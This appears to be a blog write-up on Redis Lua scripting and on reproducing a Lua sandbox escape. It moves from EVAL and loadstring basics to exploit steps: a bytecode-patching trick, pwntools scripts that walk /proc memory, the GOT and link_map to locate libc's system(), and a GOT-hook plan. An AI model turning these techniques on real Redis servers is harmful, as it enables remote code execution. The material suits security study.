在线时间:8:00-16:00
迪恩网络APP
随时随地掌握行业动态
扫描二维码
关注迪恩网络微信公众号
catalogue 1. Introduction to EVAL 2. LUA virtual machine 3. Basic knowledge of vulnerability reproduction 4. 基于其他语言验证漏洞
1. Introduction to EVAL EVAL and EVALSHA are used to evaluate scripts using the Lua interpreter built into Redis starting from version 2.6.0. root@iZ23und3yqhZ:~# redis-cli 127.0.0.1:6379> eval "return {KEYS[1],KEYS[2],ARGV[1],ARGV[2]}" 2 key1 key2 first second 1) "key1" 2) "key2" 3) "first" 4) "second" 127.0.0.1:6379> It is possible to call Redis commands from a Lua script using two different Lua functions: 1. redis.call() 127.0.0.1:6379> eval "return redis.call('set','foo','bar')" 0 OK //The above script sets the key foo to the string bar. However it violates the EVAL command semantics as all the keys that the script uses should be passed using the KEYS array: 127.0.0.1:6379> eval "return redis.call('set',KEYS[1],'bar')" 1 foo OK 2. redis.pcall() redis.call() is similar to redis.pcall(), the only difference is that if a Redis command call will result in an error, redis.call() will raise a Lua error that in turn will force EVAL to return an error to the command caller, while redis.pcall will trap the error and return a Lua table representing the error. The arguments of the redis.call() and redis.pcall() functions are all the arguments of a well formed Redis command: 0x1: 执行lua脚本 cat ratelimiting.lua local times = redis.call('incr',KEYS[1]) if times == 1 then redis.call('expire',KEYS[1], ARGV[1]) end if times > tonumber(ARGV[2]) then return 0 end return 1 redis-cli --eval ratelimiting.lua rate.limitingl:127.0.0.1 , 10 3 0x2: loadstring函数 Lua中还提供了另外一种动态执行Lua代码的方式,即loadstring函数。顾名思义,相比于loadfile,loadstring的代码源来自于其参数中的字符串 f = loadstring("i = i + 1") i = 0 f() print(i) f() print(i) loadstring确实是一个功能强大的函数,但是由此而换来的性能开销也是我们不得不考虑的事情。所以对于很多常量字符串如果仍然使用loadstring方式,那就没有太大意义了,如上面的例子f = loadstring("i = i + 1"),因为我们完全可以通过f = function () i = i + 1 end的形式取而代之。而后者的执行效率要远远高于前者。毕竟后者只编译一次,而前者则在每次调用loadstring时均被编译(类似于PHP中的eval)。对于loadstring,我们还需要注意的是,该函数总是在全局环境中编译它的字符串,因此它将无法文件局部变量,而是只能访问全局变量,如 i = 32 local i = 0 f = loadstring("i = i + 1; print(i)") g = function() i = i + 1; print(i) end f() g() 对于loadstring返回的函数,如果需要对一个表达式求值,则必须在其之前添加return,这样才能构成一条语句,返回表达式的值,如 i = 32 f = loadstring("i = i + 1; return i * 2") print(f()) print(f()) (error) ERR Error running script (call to f_f24a5a054d91ccc74c2629e113f8f639bbedbfa2): user_script:1: Script attempted to create global variable 'alex' local mt = setmetatable(_G, nil) -- define global functions / variables i = 32 local i = 0 f = loadstring("i = i + 1; print(i)") g = function() i = i + 1; print(i) end f() g() -- return globals protection mechanizm setmetatable(_G, mt) 0x3: string.dump asnum = loadstring(string.dump(function(x) for i = x, x, 0 do return i end end):gsub("\96%z%z\128", "\22\0\0\128")) print(asnum()) Relevant Link: http://redis.io/commands/EVAL
2. LUA virtual machine 0x1: TValue Relevant Link:
3. Basic knowledge of vulnerability reproduction 0x1: Coroutine 1. Lua的coroutine 跟thread 的概念比较相似,但是也不完全相同。一个multi-thread的程序,可以同时有多个thread 在运行,但是一个multi-coroutines的程序,同一时间只能有一个coroutine 在运行,而且当前正在运行的coroutine 只有在被显式地要求挂起时,才会挂起 2. Lua 协同程序(coroutine)与线程比较类似 1) 拥有独立的堆栈 2) 独立的局部变量 3) 独立的指令指针 4) 与其它协同程序共享全局变量和其它大部分东西 3. 线程和协同程序区别 1) 线程与协同程序的主要区别在于,一个具有多个线程的程序可以同时运行几个线程,而协同程序却需要彼此协作的运行 2) 在任一指定时刻只有一个协同程序在运行,并且这个正在运行的协同程序只有在明确的被要求挂起的时候才会被挂起 3) 协同程序有点类似同步的多线程,在等待同一个线程锁的几个线程有点类似协同 Lua将coroutine相关的所有函数封装在表coroutine中。create 函数,创建一个coroutine ,以该coroutine 将要运行的函数作为参数,返回类型为thread coroutine.create() 创建coroutine,返回coroutine, 参数是一个函数,当和resume配合使用的时候就唤醒函数调用 coroutine.resume() 重启coroutine,和create配合使用 coroutine.yield() 挂起coroutine,将coroutine设置为挂起状态,这个和resume配合使用能有很多有用的效果 coroutine.status() 查看coroutine的状态 1) dead 2) suspend 3) running coroutine.wrap() 创建coroutine,返回一个函数,一旦你调用这个函数,就进入coroutine,和create功能重复 coroutine.running() 返回正在跑的coroutine,一个coroutine就是一个线程,当使用running的时候,就是返回一个corouting的线程号 usage -- coroutine_test.lua 文件 co = coroutine.create( function(i) print(i); end ) coroutine.resume(co, 1) -- 1 print(coroutine.status(co)) -- dead print("----------") co = coroutine.wrap( function(i) print(i); end ) co(1) print("----------") co2 = coroutine.create( function() for i=1,10 do print(i) if i == 3 then print(coroutine.status(co2)) --running print(coroutine.running()) --thread:XXXXXX end coroutine.yield() end end ) coroutine.resume(co2) --1 coroutine.resume(co2) --2 coroutine.resume(co2) --3 print(coroutine.status(co2)) -- suspended print(coroutine.running()) print("----------") coroutine.running就可以看出来,coroutine在底层实现就是一个线程 0x2: Closure 1. Usage When a function is written enclosed in another function, it has full access to local variables from the enclosing function; this feature is called lexical scoping. Although that may sound obvious, it is not. Lexical scoping, plus first-class functions, is a powerful concept in a programming language, but few languages support that concept. names = {"Peter", "Paul", "Mary"} grades = {Mary = 10, Paul = 7, Peter = 8} table.sort(names, function (n1, n2) return grades[n1] > grades[n2] -- compare the grades end) Now, suppose you want to create a function to do this task function sortbygrade (names, grades) table.sort(names, function (n1, n2) return grades[n1] > grades[n2] -- compare the grades end) end 2. SourceCode Lua的函数包括Lua Closure, light C function以及 C Closure三种小类型,其中light C function就是纯c函数,在Value的定义里直接用一个lua_CFunction函数指针指向,从而剩下两个Closure类型 /* ** Closures */ #define ClosureHeader \ CommonHeader; lu_byte isC; lu_byte nupvalues; GCObject *gclist; \ struct Table *env typedef struct CClosure { ClosureHeader; lua_CFunction f; TValue upvalue[1]; } CClosure; typedef struct LClosure { ClosureHeader; struct Proto *p; UpVal *upvals[1]; } LClosure; typedef union Closure { CClosure c; LClosure l; } Closure; #define iscfunction(o) (ttype(o) == LUA_TFUNCTION && clvalue(o)->c.isC) #define isLfunction(o) (ttype(o) == LUA_TFUNCTION && !clvalue(o)->c.isC) 中间的关键结构是Proto* p; 这个字段代表了一个Lua 闭包 /* ** Function Prototypes */ typedef struct Proto { CommonHeader; TValue *k; /* constants used by the function */ Instruction *code; struct Proto **p; /* functions defined inside the function */ int *lineinfo; /* map from opcodes to source lines */ struct LocVar *locvars; /* information about local variables */ TString **upvalues; /* upvalue names */ TString *source; int sizeupvalues; int sizek; /* size of `k' */ int sizecode; int sizelineinfo; int sizep; /* size of `p' */ int sizelocvars; int linedefined; int lastlinedefined; GCObject *gclist; lu_byte nups; /* number of upvalues */ lu_byte numparams; lu_byte is_vararg; lu_byte maxstacksize; } Proto; Relevant Link: http://www.runoob.com/lua/lua-coroutine.html https://www.lua.org/pil/6.1.html
4. 基于其他语言验证漏洞 正常情况下,redis的lua引擎只允许执行call、pcall这2个api,不能执行复杂函数,这相当于一个lua sandbox,但是lua支持loadstring直接加载binary opcode字节码,而这种shellcode字节码可以逃过sandbox的限制,通过shellcode的方式可以直接动态获取到system这种敏感函数的地址 0x1: 获取进程基地址 通过扫描内存镜像的ELF文件Basic的MAGIC标识 7f 45 4c 46即可获取Redis的内存基地址,或者直接使用基地址0x400000,默认编译器生成的Redis似乎就是这个 #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * e = ELF('/usr/bin/redis-server') print ':'.join({'base address', hex(e.address)}) 0x2: 获取LIBC基地址 Linux的LIBC基地址通常做了ALSR处理,但在知道进程基地址前提下,可通过GOT表项获取到,具体见Linux GLIBC源码:elf_machine_runtime_setup函数 0108 static inline int 0109 elf_machine_runtime_setup (struct link_map *l, int lazy) 0110 { 0111 extern void _dl_runtime_resolve (Elf32_Word); 0112 0113 if (lazy) 0114 { 0115 /* The GOT entries for functions in the PLT have not yet been filled 0116 in. Their initial contents will arrange when called to push an 0117 offset into the .rel.plt section, push _GLOBAL_OFFSET_TABLE_[1], 0118 and then jump to _GLOBAL_OFFSET_TABLE[2]. */ 0119 Elf32_Addr *got = (Elf32_Addr *) D_PTR (l, l_info[DT_PLTGOT]); 0120 got[1] = (Elf32_Addr) l; /* Identify this shared object. */ 0121 0122 /* This function will get called to fix up the GOT entry indicated by 0123 the offset on the stack, and then jump to the resolved address. */ 0124 got[2] = (Elf32_Addr) &_dl_runtime_resolve; 0125 } 0126 0127 return lazy; 0128 } 其中got[1]=l ->struct link_map * struct link_map 0086 { 0087 /* These first few members are part of the protocol with the debugger. 0088 This is the same format used in SVR4. */ 0089 0090 ElfW(Addr) l_addr; /* Base address shared object is loaded at. */ 0091 char *l_name; /* Absolute file name object was found in. */ 0092 ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */ 0093 struct link_map *l_next, *l_prev; /* Chain of loaded objects. */ 0094 }; 通过遍历link_map链表,即可获取Redis进程加载的所有动态链接模块的基地址、名称以及DYN节信息。LIBC模块定位流程如下 1. 根据进程基地址,获取phoff 2. 遍历ELF的程序头表Elf_Phdr,获取PT_DYNAMIC对应地址 3. 解析PT_DYNAMIC执行的动态链接信息表,获取DT_PLTGOT对应的地址 4. 读取GOT[1]地址得到进程link_map信息 5. 遍历link_map链表,得到LIBC模块基地址 0x3: 获取system函数地址 遍历LIBC模块的动态节信息,获取DT_SYMTAB、DT_STRTAB表地址,遍历ELF符号表,即可获取任意LIBC模块的导出函数 #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * e = ELF('/lib/x86_64-linux-gnu/libc-2.19.so') print ':'.join({'system function address', hex(e.symbols['system'])}) #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import sys, os wordSz = 4 hwordSz = 2 bits = 32 PIE = 0 def leak(address, size): with open('/proc/%s/mem' % pid) as mem: mem.seek(address) return mem.read(size) def findModuleBase(pid, mem): name = os.readlink('/proc/%s/exe' % pid) with open('/proc/%s/maps' % pid) as maps: for line in maps: if name in line: addr = int(line.split('-')[0], 16) mem.seek(addr) if mem.read(4) == "\x7fELF": bitFormat = u8(leak(addr + 4, 1)) if bitFormat == 2: global wordSz global hwordSz global bits wordSz = 8 hwordSz = 4 bits = 64 return addr log.failure("Module's base address not found.") sys.exit(1) def findIfPIE(addr): e_type = u8(leak(addr + 0x10, 1)) if e_type == 3: return addr else: return 0 def findPhdr(addr): if bits == 32: e_phoff = u32(leak(addr + 0x1c, wordSz).ljust(4, '\0')) else: e_phoff = u64(leak(addr + 0x20, wordSz).ljust(8, '\0')) return e_phoff + addr def findDynamic(Elf32_Phdr, moduleBase, bitSz): if bitSz == 32: i = -32 p_type = 0 while p_type != 2: i += 32 p_type = u32(leak(Elf32_Phdr + i, wordSz).ljust(4, '\0')) return u32(leak(Elf32_Phdr + i + 8, wordSz).ljust(4, '\0')) + PIE else: i = -56 p_type = 0 while p_type != 2: i += 56 p_type = u64(leak(Elf32_Phdr + i, hwordSz).ljust(8, '\0')) return u64(leak(Elf32_Phdr + i + 16, wordSz).ljust(8, '\0')) + PIE def findDynTable(Elf32_Dyn, table, bitSz): p_val = 0 if bitSz == 32: i = -8 while p_val != table: i += 8 p_val = u32(leak(Elf32_Dyn + i, wordSz).ljust(4, '\0')) return u32(leak(Elf32_Dyn + i + 4, wordSz).ljust(4, '\0')) else: i = -16 while p_val != table: i += 16 p_val = u64(leak(Elf32_Dyn + i, wordSz).ljust(8, '\0')) return u64(leak(Elf32_Dyn + i + 8, wordSz).ljust(8, '\0')) def getPtr(addr, bitSz): with open('/proc/%s/maps' % sys.argv[1]) as maps: for line in maps: if 'libc-' in line and 'r-x' in line: libc = line.split(' ')[0].split('-') i = 3 while True: if bitSz == 32: gotPtr = u32(leak(addr + i*4, wordSz).ljust(4, '\0')) else: gotPtr = u64(leak(addr + i*8, wordSz).ljust(8, '\0')) if (gotPtr > int(libc[0], 16)) and (gotPtr < int(libc[1], 16)): return gotPtr else: i += 1 continue def findLibcBase(ptr): ptr &= 0xfffffffffffff000 while leak(ptr, 4) != "\x7fELF": ptr -= 0x1000 return ptr def findSymbol(strtab, symtab, symbol, bitSz): if bitSz == 32: i = -16 while True: i += 16 st_name = u32(leak(symtab + i, 2).ljust(4, '\0')) if leak( strtab + st_name, len(symbol)+1 ).lower() == (symbol.lower() + '\0'): return u32(leak(symtab + i + 4, 4).ljust(4, '\0')) else: i = -24 while True: i += 24 st_name = u64(leak(symtab + i, 4).ljust(8, '\0')) if leak( strtab + st_name, len(symbol)).lower() == (symbol.lower()): return u64(leak(symtab + i + 8, 8).ljust(8, '\0')) def lookup(pid, symbol): with open('/proc/%s/mem' % pid) as mem: moduleBase = findModuleBase(pid, mem) log.info("Module's base address:................. " + hex(moduleBase)) global PIE PIE = findIfPIE(moduleBase) if PIE: log.info("Binary is PIE enabled.") else: log.info("Binary is not PIE enabled.") modulePhdr = findPhdr(moduleBase) log.info("Module's Program Header:............... " + hex(modulePhdr)) moduleDynamic = findDynamic(modulePhdr, moduleBase, bits) log.info("Module's _DYNAMIC Section:............. " + hex(moduleDynamic)) moduleGot = findDynTable(moduleDynamic, 3, bits) log.info("Module's GOT:.......................... " + hex(moduleGot)) libcPtr = getPtr(moduleGot, bits) log.info("Pointer from GOT to a function in libc: " + hex(libcPtr)) libcBase = findLibcBase(libcPtr) log.info("Libc's base address:................... " + hex(libcBase)) libcPhdr = findPhdr(libcBase) log.info("Libc's Program Header:................. " + hex(libcPhdr)) PIE = findIfPIE(libcBase) libcDynamic = findDynamic(libcPhdr, libcBase, bits) log.info("Libc's _DYNAMIC Section:............... " + hex(libcDynamic)) libcStrtab = findDynTable(libcDynamic, 5, bits) log.info("Libc's DT_STRTAB Table:................ " + hex(libcStrtab)) libcSymtab = findDynTable(libcDynamic, 6, bits) log.info("Libc's DT_SYMTAB Table:................ " + hex(libcSymtab)) symbolAddr = findSymbol(libcStrtab, libcSymtab, symbol, bits) log.success("%s loaded at address:.............. %s" % (symbol, hex(symbolAddr + libcBase))) if __name__ == "__main__": log.info("Manual usage of pwnlib.dynelf") if len(sys.argv) == 3: pid = sys.argv[1] symbol = sys.argv[2] lookup(pid, symbol) else: log.failure("Usage: %s PID SYMBOL" % sys.argv[0]) 0x4: IAT HOOK IAT HOOK是Windows系统下比较常用的一种HOOK方式,Linux系统下同样也可以使用类似技术实现系统函数劫持,Redis的LUA沙盒print函数没有被屏蔽,实际函数是luaB_print,最终通过fputs将用户提供的字符串输出到stdout 1. 获取进程phdr头 2. 遍历程序头表,获取PT_DYNAMIC动态节 3. 通过DT_JMPREL信息,得到重定位表入口 4. 遍历重定位表项,得到Rel/Rela->r_offset以及符号表索引 5. 查询符号表索引是否是待HOOK函数 6. 如果是HOOK函数,返回r_offset 7. 将对应的r_offset地址内存修改为HOOK函数地址
|
请发表评论